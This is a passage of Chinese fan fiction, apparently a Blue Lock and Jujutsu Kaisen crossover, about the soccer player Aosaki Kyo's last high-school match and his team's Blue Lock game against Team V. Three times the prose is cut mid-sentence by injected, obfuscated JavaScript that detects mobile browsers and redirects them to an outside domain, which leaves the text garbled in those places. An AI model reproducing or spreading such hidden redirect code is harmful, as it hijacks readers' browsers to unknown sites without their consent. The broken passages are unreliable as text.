这就是自己和他的差距啊…… 灰吕惨淡地笑起来,喃喃道:“原来你这家伙完全可以靠自己射门啊……” 比分被扳回1:1平。阔别已久的进球让苍崎镜在球门前向欢腾的观众席招手,致意期待这一幕的观众。 “苍崎学长,我说,既然你能自己射门,为什么还要传给我?”灰吕走上去咬着牙问。 镜放下手。 “什么叫「能自己射门」?” “就是刚才!”灰吕大声指出,“那种处境平常的选手都会选择传球,都需要队友的接应,但是你却选择自己突破自己射门!” 镜想了想,露出温和的笑容,看着愣在原地的灰吕问: “这就是你从这一球里看到的?” “我、我从这一球里,看到的?” 灰吕的思想不自觉被镜带着走,但不管怎么想,他能想到的也只有一件事:就是眼前少年对他来说可望不可及的强大。 他犹豫了一下还是说:“你很强……” “……这样啊。” 镜闭了闭眼,转身按住灰吕的肩膀。 “我能赢,是因为对面的人太弱了。单独一个防不住我,所以「只能」用更多的人来补上这个缺口。” 但是缺口是补不上的。只会因这种拆东墙补西墙的做法越来越大。 “我能进球,真正的关键是对面没有「够强」的人。我这么说,你能明白了吗?” 他放开灰吕,回到属于自己的前线。 灰吕回过头:“你是在说这种对手根本反应不了你的真实水平吗?” “自我意识强烈的答案。”镜头也不回地说:“这样对你好的话,你就这么认为吧。” 那场比赛最后以压倒性的优势宣判杉泽第三胜利。一年后的初登场,依旧是用多个进球为球队带来碾压式胜利的镜被媒体环绕着,记者们的闪光灯在那张露出完美微笑的脸上拍个不停。 咚。 庆功宴上,看着在一边踩在沙发上唱歌的队友,灰吕忍不住放下可乐跟长野抱怨: “他们一副没赢过的样子,就连靠别人进球获胜还这么高兴……” “嗯——”长野一针见血道:“灰吕你,还在为第一球懊悔吗?” 灰吕小声说:“没有。只是,不能进球的选手有什么用……” 哦对,灰吕这小子以前是前锋来着。 长野想起这茬,反问:“既然如此,当初为什么来杉泽?” 不是长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252596|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野不自信,杉泽第三的足球社可以称得上名不见经传。设备一般,没有深厚底蕴也没有名教指导,绝非一个认真的足球运动员会选择的地方。 “既然是长野学长问起。”灰吕深吸一口气,将他最初的想法告诉长野俊一: “我想近距离观察苍崎学长的踢法,学习他、模仿他,直到超过他成为高中第一前锋。” 长野磕了磕鞋里的脚趾,“现在还这么觉得吗?” 灰吕没出声,“……” 长野露出经典的笑容,竖起拇指。 “以我对苍崎的了解,他会很希望你保持这个想法的。” 灰吕立刻反对:“不可能。” “没有人会希望自己的竞争对手保持这种想法,只会希望他能尽快从队伍里滚蛋。” 长野说:“灰吕,虽然不知道是谁让你这么想,但是我可以担保苍崎不是这样的人。” “不是吗?”灰吕迟疑地看向另一桌默默喝饮料的镜,“但是苍崎学长他那时说……” 灰吕把苍崎最后说的话复述给长野,长野听完若有所思地举起手,示意灰吕先「暂停」。 “苍崎他说话不懂得绕弯子,有时候你得看他做了什么,别看他说了什么。” 在球场上,苍崎学长给我传来了第一个球,但是后来就不再传球给我了。听到长野的话,灰吕猛地回想起来。 “是因为我没能射进那球吗?” 是了,优胜劣汰,适者生存。自己得不到机会不是因为排挤,只是因为自己还是太弱了。苍崎学长那样的强者大概也是这种理念的信徒吧…… “这样说好了。”长野撂下一句话,忽然冲着镜喊道:“苍崎!你那时为什么不传球给我啊!” 灰吕就这样在慌张中看到镜转过头,平静地顶着长野瞪大的眼睛,漫不经心道: “队长,你要是丢球可就是1:2了,想耍酷也别把我们的后防线架在火上烤。” 居然是这种理由吗?那个苍崎学长,居然也会这么出言不逊吗? 灰吕正要为长野辩解,长野却伸手拦下他,坐回椅子上笑着看他。 “懂了吗?苍崎那家伙的想法。” “别太在意他那时说的话,大概就是字面意思而已。他不是那种会推卸责任或是责怪队友的人,不是因为性格使然,只是因为他确实很强,靠别人不如靠自己。要我说他只是个——会贯彻那种想法的人。” 那是善良?还是理性?又或者什么都不是,只是苍崎镜的世界里微不足道的回声? 灰吕沉默许久,他第一次见到苍崎镜这样的人,“什么啊,搞半天是这回事。” “我还挺想知道,苍崎被真正的强大对手逼到极限时会是什么样子。” 长野摩挲着下巴,一脸揶揄地啧啧道。 “话说如何,稍微有点喜欢苍崎了吧?” 灰吕愣了一下,随即脸色爆红,“哈?谁要喜欢那种人啊!” “别害羞。其实从「那件事」之后,苍崎就有在努力了解你们的想法和习惯,方便和你们打出配合。”长野感慨道,“那家伙在这方面努力的程度比我想的还要深呐,看起来是真的很深刻地反思过自己了。” 原来是这回事。灰吕终于明白最开始的传球为什么超出预料却还是让他舒适地接了起来。因为那本就是一粒经过苍崎镜费心计算刻意传给他的球! 灰吕忍不住开口,说的话却与之前千差万别:“长野学长,我也想配合苍崎学长。” 长野挠挠头,“我刚才说过,你保持一开始的想法苍崎会更欣慰吧?” “我没打算改变想法。”灰吕反驳,“只是,既然苍崎学长都能为了大局放弃进攻机会,我也会像他一样,为了从他身上学到更多暂时放弃和他竞争前锋。” 归来的杉泽第三拿起去年的剧本,先是赢下一场比赛,然后势如破竹地爆冷战胜强队,斩下连胜,一路高歌猛进,直到最后以完胜走入预选赛决赛的赛场中。 最后一场比赛前夕,镜接到长野俊一的电话,和橙子报备过便起身赶往目的地。 公园外的窄道环绕着几株橡木,叶子都已掉光了,光秃秃地裸.露着白色的树皮。 他看到长野坐在公园的器械上,低着头不知道在想什么。 镜定了定心走进去,开口说话时嘴边呼出的气体尽数化作白雾:“队长,有事吗?” 长野闻言抬头,坐直身体笑了笑,“被我用电话叫出来,第一句话居然这么生疏?” “队长。”镜的语气波澜不惊,但长野听出了那里面的无奈。 “是是,我说正事。” 长野挠挠后脑勺,镜见状坐到他对面的台阶上仰起头看着他。 “怎么说……挺不好意思的,但是,”长野呼出一口气,“我现在很紧张。” 镜两腿分开,将手搭在膝盖上,“不用紧张,我们会嬴。” “不是那个。我在担心的是另一件事。” 他撩起裤腿,小腿骨正前方是一条颜色略深的缝合伤疤。 “在高一那年,我和现在的你一样拼了命在踢,结果就是在全国大赛前伤到了腿。” 长野俊一回忆着过去。他放下裤腿,手指在裤管上抚摸。 “因此,整整两年没能参与任何比赛。” 一时间,镜找不出任何想说的话,只能沉默地看着长野俊一露出豪爽的笑容。 “那之前我和你很像。诺埃尔·诺亚、朱利安·洛基……满脑子想着变强,一心只想踏入世界级的赛场,眼睛里只有那些能引发奇迹的球员,只想和世界级的球员一较高下。” 长野俊一在镜的目光中掏出棒棒糖放进嘴里,拿着一把糖在镜面前颠了颠,得到后者摇头的拒绝后才收进口袋。 “好不容易回到社团,结果就听说你出了那样的事。那时我忍不住想:不会是我们学校风水不行吧,所以每到关键时刻就会因为各种原因失利。”* 在长野俊一的回忆里,高一那年磕磕绊绊地踢下每一场比赛的他,身上有一种现在的他没有的朝气和热血气。 镜沉默片刻,说:“我们会嬴。而且,你不会有事。” 长野笑了,“哈哈,作为男子汉和前辈却被后辈这么照顾真丢脸。” 镜走过去拍拍长野的后背,无声的沉默里是他不擅长的关心。 “说点别的吧。”长野吐出只剩下白色所料棍的棒棒糖,揣在手里往兜里一塞,“我其实不想来这里上学,而是想去所足球名门就读。但是耐不住我老爸生病后一直跟我说这是他以前的学校,要我一定要为杉泽第三争光。没办法,为了不让他老爷子生气,我只好来这里了。” 镜默默听着长野的故事,时不时淡淡地嗯一声。谁也猜不透他那时在想什么。 “那你呢,苍崎?你也想踢球,当初为什么会来杉泽第三入学?” 镜不假思索道:“因为离家近。” 长野听到这个意想不到的答案张开嘴哈哈大笑,很快,便被冷空气呛得咳个不停。 “咳咳、咳咳咳——!原来是这样。” 长野拿出手机,打开LINE。 镜开口道:“虽然一开始不是我想来的,但是现在我不后悔当初选了这里。” 镜滔滔不绝地说着他的感受。 长野滑动手机屏幕的动作加快,对他来说这也是镜第一次这么坦诚地说出自己的想法。 “队长,是你们让我有了这样的判断,是你们让我有耐性把这种无聊的球踢上两年。我想,我现在踢球的理由仅仅是想和你们一起进入全国大赛,那之后的事一点兴趣都让我提不起来。” 长野专心听着,最终反问:“不想和全国大赛的对手较量一番吗?” “就算是全国,我也已经有答案了。” 长野俊一不知道镜的判断从何而来,但他知道苍崎镜一向是个不无的放矢的人。因而他点点头,相当含蓄地认可了他的话。 “然后呢?” “然后,我发现,在这里糊弄下去,这辈子都踢不出我想要的球。” “原来如此。找不到能满足你的人吗?” “差不多。”与其说是满足,什么样的选手才能让不知靥足的自己满足?连镜自己都只能选择「提起兴趣」这样保守的说法。因此他纠正道:“换成提起兴趣更合适一点。” 长野俊一认真地听着。 “我打算:这场比赛之后就宣布退出日本足球届,坐飞机去德国看看。” “德国啊。”长野俊一眼中闪过一道光,他想到那里的雪、那里的城堡还有那里的足球,面露向往,“真是个好地方。” “嗯。”但像是想起了什么,镜皱起眉说道:“虽然那么做也会有不少麻烦就是了。” 公园里仅有的两人,没有一个人为「退出日本足球」的狂妄之语而给出反应。镜是因为早就下定决心,而长野没有告诉镜,报告他在内,整个杉泽第三的足球社早就察觉到他身上萌生的厌倦。每个人都在等待他说出「不想踢球了」的话。 确认答案后,长野心中的悬念消失。但恐怕没有一个人想到你会做得这么绝对,他想到。 时候不早了。长野撑着膝盖倒吸着凉气一脸吃力地起身,他把拉链拉到最上。 “走吧,苍崎——不,镜。当做把你喊出来的赔偿,我请你吃拉面。” “只能拉面吗?”镜也站起来,揣着兜默默把下巴缩进衣领里,“天冷,吃火锅吧。” 长野笑着拿出钱包,一番清点后若无其事地大笑道:“哈哈——好!当然可以。” 2018年,宫城县全国大赛预选赛决赛。 进场前,镜坐在巴士上,用手机给虎杖发送着消息。等他回过神时,车窗外已经是仙台体育馆弧线优雅的穹顶。镜随整个足球社一起下车,收起手机在排队通道前等待。 尽管并未进入过几次全国大赛,但今年以无败之绩走到这里的杉泽第三无疑是一匹公认的黑马。来到仙台体育馆的观众有一半是为了见证杉泽第三的完美连胜而来,另一半则是怀着种种心情期待他们的对手一雄能否捍卫自己强队的尊严,终结这支新秀球队嚣张的胜势。 仅是全国大赛,准确来说,仅是全国大赛在宫城一个县的预选赛而已,却有这么多人在期待吗?尽管无法充分理解人们的想法和心情,但唯有一件事镜很清楚:无论别人是否期待,他们都会赢。 撕开空档,直接射门,或是传球组织进攻。比分越拉越大,一雄的球门简直像一张破渔网般脆弱不堪。间歇之余,镜愈发确信自己的想法。果然,这种比赛无聊透顶。 镜在球场上蹲下,系好鞋带。当他起身看向自己的队友,那些脸上是真实的笑容。 “……” 镜在没有人看到的地方露出一瞬微笑。 但是,能和你们踢这种无聊的比赛,对我来说是比单纯战胜强者更美丽的奇迹。 “我会放弃足球。”赛后,镜对着话筒说道。过去两年的足球生涯放到整个足球届也许微不足道吧,短暂而黯淡,像是划过夜空的流星般坠落。但他会记住这一刻,记住在他的生命里不会再有第二次的时光。 “就这样。” 镜放开麦克风,毫不留恋地转身,银白队服后的背号「7」在太阳下熠熠闪光。 “把这次采访当作你们对我的最后一次采访吧,诸位,再见。” 32.进化 镜的眼睛被缠上纱布,额头靠近眉骨处的伤口消失在层层白色中。 “这种问题,人类医学难以治愈,但「反转术式」并没有问题吧。”镜睁开眼,摸了摸左眼的纱布,“既然如此为什么还要做这种处理,顶着这东西我感觉很奇怪。” 将摆出来装模作样的手术刀套装和医用酒精都收回箱子里,硝子懒散地嗯了声。 “不这样做,会吸引别人的目光吧。” 怪不得硝子治好了眼睛的问题,却还保留着体表的伤口。镜看着眼前二十多岁穿着医生制服动作娴熟的硝子,踩着没见过她穿过几次的高跟鞋顶着黑眼圈工作着。 “说的也对。” 一句回应后,镜用轻轻的语调对硝子问出了心底滞留已久的疑问: “在我走后咒术界到底发生了什么事,告诉我吧,硝子。” 眼前十六岁的镜频频用那双仿制的苍天之瞳看着硝子,无声地催促她回答。硝子想到夏油临行之前和她无意间谈起的事,下意识摸索口袋里的烟,却在这时发现自己早就因为想要戒烟而不再在口袋中揣上烟草了。 栗色长发的成熟女性笑着喟叹道:“好吧,你还真是放不下心呢。” 医务室里凝滞的气氛,仿佛到这里才轻松起来。 “来加个联系方式吧。如你所见,我现在是个还算有点水平的医生,有什么业务可以联系我哦。” 硝子拿出手机,一如既往地用散漫的语气戏说道:“虽然未必有时间理会就是了。” 镜无助地开口:“硝子,我的手机现在不在身上。” “嗯——那还真是难办了呢。”硝子点着下巴想了想,伸出手,“那把纸笔拿来吧。” 镜站在原地,从硝子手上接过写满了文字的纸条,将它们叠成小块。他再三确认已经将硝子的记述放进口袋里,心里的大石随之落地。这下终于可以弄明白咒术界那边发生了什么事了。 而硝子似乎浑然不觉镜的安心,一派自在地和镜道别走出了医务室。散发着医院消毒水气味和洗发露香气的发尾在空中划过一个小小的圈儿。 回到Z队寝室后,镜没想到自己这副「独眼巨侠」的扮相会带来什么样的反响。 “真的没事了,负责人请了很专业的医生进行诊断,绝对没有问题,我保证。” “如果我没记错,你上次也是这么保证的。”国神听到镜这么说,无情地拆台道。 在Z队怀疑的注视下,镜有种敷衍别人却被抓个正着的感觉。 “为了确保能赢,一不小心就忘了保证的事。”镜坦言之后反倒感到轻松了不少,他转动纱布包裹下的眼睛,“但是接下来的那只队伍和以往不同,这次不能出任何意外,所以我会更谨慎地行动。” “等一下,苍崎。” 伊右卫门迟疑地举起手,脑内计算着眼前的胜负,“我记得,我们快要晋级了吧?” 目前为止,Z队虽然最初败给了X队,但此后先后战胜了Y队、W队,结合目前除了V队外战绩普遍一胜的境况,可以说Z队哪怕没有晋级,也已经一脚踏进晋级的大门了。 成早摩拳擦掌,“等到明天Y队和W队的比赛结果出来,就可以确认这一点了吧!” “不要高兴得太早。”千切的判断更加清醒,“两胜两负还是有淘汰的可能,想晋级的话,和V队的比赛至少要做到打平。” “这就是我说的「谨慎」的意思。” 镜点点头说,正准备坐下,肚子里却发出了咕咕的动静。 “啊,抱歉。”镜默默按住发空的胃,“从去医务室之后什么都没吃,现在有点饿了。” 高强度运动再加上进食不足,哪怕是这具性能优秀的身体也要撑不住了。 蜂乐笑着从地上一跃而起,握起拳头。 “那作战会议就先延后,来庆祝一下我们战胜了W队吧!” “是呢,虽然有点早但也算晚饭时间。” “我也饿了……” 雷市不快地呲着牙喊住纷纷起身的Z队:“喂,别只想着吃啊!还有件事没处理吧!” “发话吧,那家伙要怎么处置。” 雷市凶恶地指指角落里独坐的久远,那出背叛后就连他的床铺都被移到了一边。听到有人提起自己,他皱皱眉从手臂中抬起头向那边看了一眼。 久远的计划失败了,得到了三粒进球却没能让Z队淘汰。漏洞百出的计划创造的最大后果也不过是让队里的关键角色受了伤。 在镜看来,久远做的事无用又荒唐。多亏硝子的处理,唯一的后果也得到处理。但要说毫不在意,那是不可能的。 镜走到久远面前,神情冷静得仿佛被久远的计划害到的人不是自己。 “这种结果是你想看见的吗?” “……别用这种腔调跟我说话。” 久远抵触地把头埋进手臂里,只露出卷曲的头发,不再与镜进行任何视线接触。 “现在的Z队暂时不可能淘汰,就连进球数你也只比千切和洁多一个而已。”镜对久远分析道,“我说的是事实,你确实失败了。” “……” 镜平静地问:“久远,和V队的比赛,你要上场比赛吗?” 久远缓慢地抬起头,看起来有些不可置信。 “你在犯蠢吗,苍崎?你就不怕这胆小怕事的家伙再妨碍你一次?”雷市不客气地骂。 “你自己选。”镜起身走向同伴,“反正只要千切和洁进一个球,我们再以10V11输掉比赛,你就彻底没有活路了。” 久远忍着不甘反驳:“这话对你们不也是一样。” “嗯。所以比起两败俱伤,考虑一下握手言和的可能性。”镜一边走一边在所有人都离开后关上了门,“久远,别告诉我口口声声说着要留下来的你连这点自尊都跨不过去。” 餐厅里,被别人以「功臣和伤员就好好休息」为理由赶走后,没事可做的镜只好孤单一人坐在椅子上等着食物摆上餐桌。 同伴们给镜创造独处的时间,让他有机会反思自己此刻的心情。就像他说出口的那样,和V队作战需要11个人每一个人的力量,最好一个都不要少。如果久远真的悔改,那镜也会选择继续跟他配合。但是心里的某种坚持还是因为这样的事不断地发出信号,催促他再想想所做的决定。 在这由桌椅构成的狭小空间里,运行着镜的思绪。这无疑是个合理的选择,因为这样做能增大打平和获胜的几率,让这支队伍通过淘汰。 思绪紊乱间镜不知不觉地拿出了口袋里的纸条。但没等他想到满意的解法也没等他展开纸条,一道自信的声音率先传来,随之是占据了全部视野的紫发的身影。 玲王的脸上带着客气的笑容,不久前V队刚刚结束和X队的比赛,显然结局是大胜。 “是苍崎啊。嗯,这里有人坐吗?”玲王一副胜者姿态站在镜对面的椅子后问道。 “玲王?”镜收起纸条,打起精神应对来意未知的V队领袖,“有。蓝色监狱可没有盟约外交这回事,劝你们别做无用功比较好。” 全然没有被这番拒绝的话语打击到,玲王从容不迫地坐到旁边的椅子上。 “别这么说嘛,就算我们是竞争对手的关系也不妨借机认识一下。” 虽然不觉得玲王会像久远那样耍花招,但一时也猜不透玲王此番做法背后的用意。 “要说认识,在第一轮选拔赛开始前就已经认识了吧?” “啊,那个啊。”玲王立刻悠哉地否决镜的论证,“那个只能算球场外的寒暄吧。” 眼见一计不成,镜干脆祭出另一计。 “你的朋友呢?”镜回想看过的录像,捕捉到在日本足协总部的会客厅遇到玲王时的画面。从一开始他的身边总是会出现一个白头发的懒洋洋的男生。 “我知道球场上和球场外你都和那个白发的男生一起行动。那家伙呢,没跟你一起?” “凪啊。” 玲王也不隐瞒,一副既无奈又骄傲的样子。 “今天抱怨着「训练好累」,擅自回去玩游戏机了。” “……”想到蓝色监狱的积分制度,镜有些怀疑:难道说,V队的进球,都变成了玲王口中的「凪」此时在打的游戏机了吗? 算了,我对他们在这方面做了什么不感兴趣,也没有感兴趣的动机跟立场。镜扫过取餐口聚集的Z队,一心只想把玲王送走。 注意到镜的视线所在,玲王把手臂搭在椅背上回头看去。 “真热闹啊,那是你们Z队的人吧。”玲王问,“全都出现在餐厅是在做什么,庆功?” “玲王くん,还是请你告诉我你今天到底是来做什么的吧。”镜已经有些不耐烦了。 听到这几乎等同于送客话,玲王脸上浮现出一种强势又让镜深觉不怀好意的笑容。 “像我说的,是来「认识一下」。”玲王说,“我听说你们队里发生了点事。不会影响到你和我们比赛时的竞技状态吧?” 镜感觉到玲王正在撩拨自己的情绪。如果他知道久远的事,那不会猜不到自己现在在处理久远这件事上面临的困局。他是故意这么说的吗?假作关心实则从他这里套到真实的情况,用来耀武扬威? “我知道你在想什么。”玲王轻叹一声:“别把我想成无聊的坏人嘛,我只是关心你的处境而已。” 这话有些越界,镜皱起眉。 几声餐盆底部磕在桌子上的声响,让玲王没能继续说下去。 “关心这家伙之前,先关心你自己吧。”雷市的身后是除久远外整个Z队,虽说只是交谈不至于引起这样的反馈。但在镜因久远背叛受伤这个特殊的时间点,对所有试图单独接近他的对手,Z队都拿出了十一分的在意。 玲王扫视众人一圈,过了会,坐直身体百无聊赖道:“不欢迎我,那我就走了。不过苍崎,你在苦恼的问题我给你一个建议:强行和弱者配合是不可能赢过我和凪的。” 镜已不会再为自己的想法被玲王读到而有什么反应了,他抬起手暂时阻止想要说什么的成早,“弱者……你是指久远?” 他的确正在苦恼久远的去处。要么放弃那份力量,要么就无视配合的裂痕勉强使用那份力量,尽管这两个都不是理想的选项。 如果玲王知道答案还愿意告诉自己,就算是对手也无妨。 “「要照顾弱者还真是麻烦」,像你这样的人应该有时会这么想吧。”玲王按着肩膀悠然地说出口,“试试放着不管怎么样?不管是那个叛徒,还是你们队的其它人。”* 成早倒吸口气,“这家伙,这是在鼓励苍崎自作主张地踢吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256168|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 对战X队的结果和一年前杉泽第三的遭遇还历历在目。镜摇了摇头说: “那样会输得更快,搞半天你是想利用久远的事煽动我放弃配合吗?” “哈,果然骗不到你啊。” 见镜对自己的试探给出了这种答案,玲王露出恶劣又欣赏的微笑。 “但是,我这话是认真的。” 玲王收起笑脸道。 “你应该也知道,继续用「这副样子」踢是踢不赢我们的。” “还有,不用怀疑我的目的。我只是觉得打败一个半死不活的弱者Z队,对我和凪成为世界第一前锋的目标来说毫无意义。” 本来气氛不错的庆功宴这下子变得食不知味。 五十岚栗梦碎碎念地用叉子戳动盘子,“搞什么,居然大人物样地说那些话……” “没必要在意。毕竟我们晋级的概率已经非常大了,他说那些话也只是激将法。”伊右卫门安慰道,手里的酱油拌入米饭。 “呐,镜ちゃん。” 会这么叫自己的在Z队只有一个人。镜放下手中的饭碗,默默看向蜂乐。 仿佛完全没有感觉到压力,蜂乐好奇地问:“玲王的话是什么意思?”就好像他不是那个被鼓吹「别管他」的人一样。 “如果没猜错的话。”镜搅动着碗里的面条,“是在鼓动我按「自己的节奏」去踢。” “很好啊,我还没有见识过镜ちゃん自己的踢法呢!”蜂乐笑呵呵地抱住后脑勺,“不过,不管镜ちゃん怎么踢,我都会跟上那种节奏哦。” 镜有所感觉,抬起头看向餐桌旁围成一圈的大家,丰盛的食物不是全部,只见洁也默契地看向自己。除了五十岚栗梦还沉浸在刚才的紧张之中,队内的所有人仿佛都明白他的感受。 “……-∧-” 镜绷着脸嗦面。 这种感觉挺陌生的,但是,还不坏。 晚上,其它人都洗澡或是练习去了,只剩下镜独自一个人留守。 他掀开被子躺进去,脑海中是晚饭时玲王的话。 至少就说出口的部分,玲王的判断和自己判断完全一致,而他给出的建议也是提示自己换一种踢法,其实自己也想过这件事。 看着黑暗的天花板,镜睁着眼睛想。 但是他的答案绝不是「放着不管」,因为那种做法的正确性已经在全国大赛时期的比赛里得到过检验了。何况自那以来,自己也在不断摸索着属于自己的解法。进入「蓝色监狱」后自己所做的一切都是在那探寻到的「解法」上的延伸。 正因为有那样的经验,他才一直觉得正确的答案不会是放着不管。 但自己现在的「答案」到底是不是正确的?自己有把这份「心意」传达到吗?如果前三场比赛中自己的心意有传达给他们,那么这第四场比赛,一定会有所「改变」。到时可以证明自己这一次的选择选对了吗? 躺在柔软的床铺里,镜闭上眼睛,翻了个身,将这难以做出的判断抛到脑后。 第二日,W队和Y队的比赛落下帷幕,结果是:Y队逼平W队,比分一比一。 “我们已经赢了!”成早算了算积分,在算出结果后便欢呼着扑上我牙丸的后背。毫无悬念地被后者扔下来,于是又不死心地纠缠上(在他看来)不好说话但脾气意外很好的苍崎。 “喂苍崎,我们已经赢了,真走运啊!” “唔,是啊。”镜看着放映屏幕上的记分表,Z队是唯一的二胜队,“我们已经赢了。” “看来和V队的比赛怎么踢都行了,反正我们已经赢了。”五十岚栗梦见状得意地揉着鼻子,“我们已经是这里第二强的队伍了。” 就在这时,镜走到前方。 “既然一开始约定的事已经做到,接下来我会用我的方式去踢。” 镜看向久远,无论后来发生什么,最初的确是因为他的邀请自己才受命成为Z队的「司令官」。虽然现在这个称号也随着他的背叛消失了,但是这些记忆绝不会和它一起逝去。 “事先说明:那可能意味着和V队的比赛会变得一团乱,连带着会被被迫接触那种节奏的你们也变得讨厌我也说不定。” 洁看向镜之前坐的位置上摊开的笔记,看到的那页纸最后的一行还是和W队对战的战术,可见它的主人已经有几天没有再使用它了。 “但是我也相信,在这场比赛后,我们每个人都会变得更强。” 说到这里,大家也终于想起此前达成共识的苍崎镜「不为人知」的目的。 “我的目标是什么,还猜不到吗?” 镜环视着周围的伙伴,他们的反应各不相同,有和他了解较深早就意识到这件事的洁和千切,也有出于各种理由无所畏惧的蜂乐和国神,或者处在状况外的我牙丸,以及隐隐约约意识到但却因为已确定晋级而没什么明确反应的成早等人。 最后是角落里默默听着这一切的久远。 “所以你说的到底是什么啊?”根本猜不到镜在说什么,雷市干脆直接问道。 镜向雷市点点头,揭晓了答案。 “把胜负暂时抛到一边。下一场和V队的比赛,我想看到在场的每个人超越极限。” 白发少年露出期待的微笑,“请用你们的「进化」,当做我这段时间努力的回报吧。” 33.天才的迭代法 休息室内,Z队正为对战V队做着最后的准备。 镜揉搓着脚踝,一边拉伸小腿,一边看向前边摆放的战术板。 “我们的战术是死守半场,抵住对面的连续进攻,再通过防守反击让锋线拿下进球。” 伊右卫门解释道。久远背叛后,组织战术讲解的职责就落在了他的身上。 “虽然已经晋级,但还是要争取胜利。理想的比分是1:0。”伊右卫门说,“毕竟我们是10人作战的一方,这样的目标比较现实。” “10人?”镜坐直身体,意识到久远还是没有选择承认错误回归队伍。 他面露遗憾,看向久远。 “明明是难得的机会。” 球场上,V队站在己方的半场,看着Z队的十一人从球员通道内走出。 “……” V队,开球点附近的凪安静地踩住球,和刚刚踏进球场的镜对上视线。 “就是那个人啊,玲王。”他对玲王说。语气里似乎透露出某些这两人才有的默契。 凪看到,镜在注意到他的视线后,平静的表情上出现一丝疑问,沉默地挑起了眉。 Team-V对战Team-Z,KickOff。 开球后,镜一改常态,直冲前方占据边路的的最佳进攻点。留在身后的人,队友也好,对手也好,全都被远远地甩开。 视野变得越来越广阔,劲风拂面,解放自我的感觉让他扬起嘴角。 另外两处进攻点上,分别镇守着能进行超级远射的国神和速度冠绝球场的千切。 苍崎·国神·千切三人构成的锋线,是为Z队进行防守反击里「反击」的三角长矛。 后方,V队凪诚士郎开球,即刻将球传给御影玲王。 这在Z队的计算之中。洁和蜂乐立刻从两边封死玲王向前传球的路线,迫使他继续进行横向传球。 足球磕上V队10号,剑城斩铁的脚背,落在脚尖前半步远的位置。 绝妙的传接球配合,斩铁的眼镜闪过一丝睿智的冷光——可以直接射门进攻。 在他的前方等着的,并非畅通无阻的射门通道,而是成早和雷市阻拦路线的身体。 直接进攻风险太高,不给对面防守反击的机会。剑城斩铁,毫不犹豫直接传球。 足球,落在了凪诚士郎的脚下。 “这里!!”五十岚栗梦咆哮着断下这粒本该被凪诚士郎接住的球,光秃秃的栗子脑袋被球击打得泛红。 球的落点被这记抢断改写,带着得分的希望和进球的气味掉在洁世一的脚边。 球被传出,洁示意:“蜂乐!” 接球之后,蜂乐舞动身体,用流畅的回旋过掉防守队员,在下一层防线还没有到位时,向已在球门前就位的锋线大脚长传。 镜眼球飞速转动,扫描仪般记录下V队半场每一个球员的位置、朝向和重心趋势。他先是一个假动作变向甩开盯防球员,而后抬头一瞥,立刻向着在短短一秒内计算好的完美接球点全速跑去。 风声在耳边呼啸,自己已经很久没有这种畅快淋漓的感觉了。 镜忍不住放轻呼吸,更加细致地感受这一秒的滋味。 后倾身体急刹停球,足球在四溅的草屑间弹起。无视侧边包围上来的人,直接向后卫和守门员的防守死角当空抽射。 哨声吹响,比分改写为0:1。 进攻奏效。镜吐出一口气,回身迎接同伴们祝福的拥抱,笑容不可抑制地涌上嘴角。 “完美的配合。”镜压低重心,确保自己不会被突然跳上后背的蜂乐压垮。 “嗯,就知道镜ちゃん能做到!”蜂乐笑着勒住镜的脖子,整个人趴在他身上。 事实上,那一球并没有那么好接。 “……” 玲王安静地盯着镜情绪淡漠的脸,几秒钟后,回头观察镜刚才射门的那片草坪。 当时,那一球从斜后方来。我们队的后防线也在认真地限制他,一个人盯防、一个人阻拦,还有一个人在附近伺机而动。 哪怕真的传给他,也更有可能是在接球后的几秒内就被后卫抢断。再之后,球会传给我,然后传给凪—— 玲王明白了镜给出的「解法」,饶有兴致地笑起来:“原来如此,是这样吗?” 精读极高的脚上技巧、堪称暴力的身体素质、还有瞬时速度极快的反应能力,将这三者结合起来并发挥到淋漓尽致的就是三十秒前镜射进的那一球。 是这样啊,好厉害啊。 如果由「凪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298212|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 」射进那样的一球—— “喂,凪!” 重新开球,玲王兴奋地呼唤: “来一次「那家伙」刚才那个!” 依旧停留在V队半场的镜听到这话后眨了眨眼:“……?” 一如刚才,Z队中场压迫上来,但这次玲王选择在路线被封死前向前方传球。 镜睁大眼:“唔?” 这个弧线?还有距离、速度和位置…… 凪诚士郎同时起跑。这一球,似乎默认了是传给他的。 如果是这样的起步距离和球路,想接到基本是不可能的。 镜根据周围的球员分布默默调整自己的位置,做好了接球的充足准备。 之所以这样判断,是因为镜预判到了这一球球路的关键特点:强烈的下旋转,所以会在后半程极速下落,加上接球的凪起步距离过远,只能朝落点全速前进而没有时间抬头确认足球具体位置,这一球基本变成了谁来都接不到的失误球。更何况这还是个从侧后方来的高难度传球。 